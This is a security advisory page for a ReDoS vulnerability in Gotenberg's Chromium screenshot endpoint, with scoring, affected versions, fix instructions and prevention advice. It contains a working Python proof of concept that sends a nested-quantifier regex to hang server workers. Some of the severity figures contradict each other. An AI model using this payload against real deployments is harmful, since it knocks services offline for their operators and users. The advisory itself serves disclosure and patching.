GHSA-fmwg-qcqh-m992 CVE-2026-35458 GO-2026-5372
Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.50%
- Chance of exploitation in the next 30 days. Higher than 42.66% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1333 Inefficient Regular Expression Complexity
- Fix
8.30.0- Upgrade github.com/gotenberg/gotenberg/v8 to this version or later
Description
Summary
Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.
Details
Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".
For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.
See the dlclark/regexp2 README.md for further considerations.
Tested on the latest container version gotenberg/gotenberg:8.29.1
PoC
The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.
#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
# "requests",
# ]
# ///
import json
import time
import requests
HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"
def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
"""Send a screenshot request to Gotenberg and measure response time."""
url = f"http://{host}/forms/chromium/screenshot/url"
print(f"\n[*] {label}")
print(f" extraHttpHeaders: {json.dumps(headers_dict)}")
start = time.time()
try:
r = requests.post(
url,
data={
"url": "http://api.service:3000/snapshot/",
"extraHttpHeaders": json.dumps(headers_dict),
},
files={"a": "b"},
timeout=timeout,
)
elapsed = time.time() - start
print(f" Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
except requests.exceptions.Timeout:
elapsed = time.time() - start
print(f" TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
except requests.exceptions.ConnectionError as e:
elapsed = time.time() - start
print(f" CONNECTION ERROR after {elapsed:.2f}s: {e}")
def main():
# --- Test 1: Baseline ---
send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")
# --- Test 2: Simple scope ---
send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")
# --- Test 3: ReDoS scope ---
# Classic evil pattern: nested quantifiers on overlapping character class.
evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
send_request(
HOST,
{"X-Test": f"value; scope={evil_pattern}"},
f"ReDoS scope: '{evil_pattern}'",
timeout=15,
)
if __name__ == "__main__":
main()
Impact
This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | all versions |
No fix yet |
| github.com/gotenberg/gotenberg/v8 | < 8.30.0 |
8.30.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/gotenberg/gotenberg/v8 Go → 8.30.0
- go
go get github.com/gotenberg/gotenberg/v8@v8.30.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1333: Inefficient Regular Expression Complexity
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
How to prevent it
- Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
- System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
- Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
- Implementation: Limit the length of the input that the regular expression will process.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-2mrg-35hw-x3x9 Gotenberg: SSRF via LibreOffice document processing | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-vp73-vjw8-8f32 Gotenberg has a Race Condition via Multipart `downloadFrom` Handling | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-86m8-88fq-xfxp Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-hwc4-gmrw-5222 Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-chwh-f6gm-r836 Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-g924-cjx7-2rjw Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme | Medium | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-4vmc-gm8v-m35h Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook | Critical | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-r33j-c622-r6qp Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine | High | Also affects github.com/gotenberg/gotenberg/v7 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor